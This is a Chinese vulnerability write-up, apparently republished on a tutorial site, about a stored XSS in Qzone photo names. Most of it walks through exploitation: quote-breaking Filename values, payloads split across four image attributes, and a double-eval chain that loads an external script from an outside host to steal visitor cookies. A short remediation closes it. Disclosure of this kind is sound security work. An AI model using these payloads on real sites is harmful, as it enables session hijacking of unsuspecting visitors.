网站地图    收藏   

主页 > 后端 > 网站安全 >

QQ空间个人首页一处比较隐蔽的存储型XSS及修复方

来源:自学PHP网    时间:2015-04-17 14:11 作者: 阅读:

[导读] 一处比较隐蔽的存储型XSS,个人首页的,通杀IE,Chrome,Firfox, 至于危害和利用,就不多说了。 主要和大家分享下思路。这篇《突破xss字符限制执行任意js》相信很多人都看过,其实里面的...

一处比较隐蔽的存储型XSS,个人首页的,通杀IE,Chrome,Firfox, 至于危害和利用,就不多说了。 主要和大家分享下思路。
 
这篇《突破xss字符限制执行任意js》相信很多人都看过,其实里面的一些思路,会将一个存储型的XSS,变成了一个需要在地址栏写入代码的XSS,效果就大打折扣了。
 
本次分析中,也遇到了输入长度受限的问题,实际可以输入脚本的长度,在21个长度,要保证存储型XSS的效果,怎么突破呢?见详细说明。
详细说明:1. QQ空间模板选择为【社交元素】
 
2. 可见此模板右侧有【最新照片】,鼠标移到照片上的时候,会有照片的名称。F12打开浏览器的开发工具,查看照片的HTML代码。<a title="照片名称" ... <img alt="照片名称"
 
 
 
3. 然后我们猜想下,这里的照片名称,如果双引号没过滤,会怎么样? 可能会出现下面的情况。<img alt="照片名称" onload="alert(1)" "
 
4. 接着我们上传一个新照片,经过研究上传的数据,可知:【照片名称】由上传时候的Filename字段控制。 (上传页面:http://up.photo.qq.com/cgi-bin/upload/cgi_upload_activex?g_tk=321835484)
 
 
 
 
 
5. 由于我用的抓包工具对于上传图片类的数据发包不给力,我们保存下发送的数据,修改Filename字段,改为"onload="alert(1)"a=用nc提交下,没有返回错误,说明Filename没做过滤设置。 提交之后,我们刷新QQ空间,会发现弹出了1,说明Filename没有过滤双引号,正如我们之前所猜测的一样。
 
 
 
 
 
6. 接下来的目标,是加载任意外部JS文件。但是我们在Filename字段写入123456789012345678901234567890123456789012345678901234567890会发现,这里的名字会有30个长度的字符限制。除去"onload="这9个字符,留给我们的还有21个字符,该如何调用外部JS呢。。。。
 
7. 第一个想到的方案是eval(g_diyTitle), 因为我记得之前g_diyTitle是可以随便写入内容的,不如人意的是,腾讯在某次更新中,已经对g_diyTitle做出了限制,不允许\%,(这些字符了。这个只好暂时放弃了
 
8. 第二个方案: 可以看到右边可以放4个图,我们可以通过控制4个图的alt属性合在一起来实现我们的目的。这里需要注意的是img标签外层有一个a标签,a标签的title属性和img的alt属性都是使用的的照片名称,当我们向alt里注入id="r"的时候,a标签也加上了id="r",同时a标签比img标签先加载,导致这里我们$("r") 得到的是a 标签,而不是img标签。
 
构建以下本地测试模型:
 www.2cto.com
 
<img src=http://up.2cto.com/2012/0709/20120709124948739.gif" title=""r="a($('s').r+$('r').r)"id="t"></img>
<img src=http://up.2cto.com/2012/0709/20120709124948739.gif" title=""r="QZFL.imports('//xsst"id="s"></img>
<img src=http://up.2cto.com/2012/0709/20120709124948739.gif" title=""r=".sinaapp.com/m.js')"id="r"></img>
<img src=http://up.2cto.com/2012/0709/20120709124948739.gif" title=""onload="a=eval;a($('t').r)"></img>
 
实际利用步骤:
 
我们只需要分4次,分别上传4个图,图片名称依次是
 
 
1. "onload="a=eval;a($('t').r)
2. "r=".sinaapp.com/m.js')"id="r
3. "r="QZFL.imports('//xsst"id="s
4. "r="a($('s').r+$('r').r)"id="t
 
刷新QQ空间, 可以看到,在上传4个图之后,成功弹出了cookies。
 
 
 
 
 
9. 这个方案是可以运行了,但是仅支持IE8及以下,原因是其它版本或其它浏览器,对自定义属性的获取,必须通过$("x").getAttribute("属性名")来获取。
 
为了让我们这个漏洞的普适性更好。我们还是得想到更好的办法来。eval(某个可写的JS变量)比较靠谱,可是QQ空间的开发人员把变量名都写的挺长,根本塞不进去。 (= = 看来,编程的时候,变量名字长,也能提高安全性), 不过我们还是可以变通一下的,见下文。
 
 
10,第三个方案:一个新的XSS方案: (g_userProfile.desc 为QQ空间自定义变量)
 
本地测试模型如下:
 
 
<img src=http://up.2cto.com/2012/0709/20120709124948739.gif" title="eval(g_userProfile.desc)"id="t"></img>
<img src=http://up.2cto.com/2012/0709/20120709124948739.gif" title=""onload="eval($('t').title)"></img>
 
模型说明:
 
因为onload里可以写入代码的长度很短,无法直接eval(g_userProfile.desc),因而我们用$('t').title做了一次中转,然后双重eval,即可运行g_userProfile.desc里的JS代码。
 
利用步骤:
A. 编辑空间名称下面的描述(g_userProfile.desc),改为:QZFL.imports('//xsst.sinaapp.com/m.js')
B. 插入以下2张图,图片名称依次是: www.2cto.com
 
 
1. "onload="eval($('t').title)
2. eval(g_userProfile.desc)"id="t
 
上传完毕后,这次我们打开Chrome, 以访客身份来看看, 我们可以看到,成功弹出了cookies,FF一样可行。
 


 
 
 
 
------------------
 
That's all !
 
漏洞证明:见详细说明。
 
测试操作系统:Win7
 
浏览器:IE系列,Chrome, FF 均成功。
修复方案:

对上传页面http://up.photo.qq.com/cgi-bin/upload/cgi_upload_activex 里的Filename字段做限制,过滤\w之外的字符,因为文件名称本来就不需要特殊字符。其它字段是否存在类似危险未知,可以一并考虑。

作者 gainover

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论